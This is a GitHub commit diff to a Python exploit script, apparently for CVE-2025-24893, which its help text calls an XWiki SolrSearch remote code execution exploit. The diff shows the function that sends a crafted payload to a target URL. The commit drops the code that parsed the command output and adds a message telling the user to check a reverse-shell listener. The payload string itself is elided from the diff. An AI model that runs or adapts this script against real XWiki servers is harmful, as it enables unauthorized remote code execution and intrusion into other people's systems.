Update CVE-2025-24893.py

This commit is contained in:
2025-09-05 21:55:40 +03:00
committed by GitHub
parent 975f10f015
commit 364fc138d8
+2 -18
View File
@@ -1,8 +1,6 @@
#!/usr/bin/env python3
import requests
import re
import argparse
import html2text
def exploit(url, command):
payload = (
@@ -14,27 +12,13 @@ def exploit(url, command):
print(f"[*] Sending payload to: {full_url}")
try:
response = requests.get(full_url, timeout=10)
requests.get(full_url, timeout=10)
print("[+] Payload sent. If it's a reverse shell, check your listener.")
except requests.exceptions.RequestException as e:
print(f"[!] Connection error: {e}")
return
match = re.search(r'\[\}\}\}(.*?)\]', response.text, re.DOTALL)
if match:
raw_output = match.group(1).strip()
output = h2t.handle(raw_output).strip()
if output:
print(f"\n[+] Command output:\n{output}")
else:
print("[!] Command executed but returned no output.")
else:
print("[!] No output found in response.")
if __name__ == "__main__":
h2t = html2text.HTML2Text()
h2t.ignore_links = True
parser = argparse.ArgumentParser(
description="Exploit XWiki SolrSearch RCE (CVE-2025-24893)"
)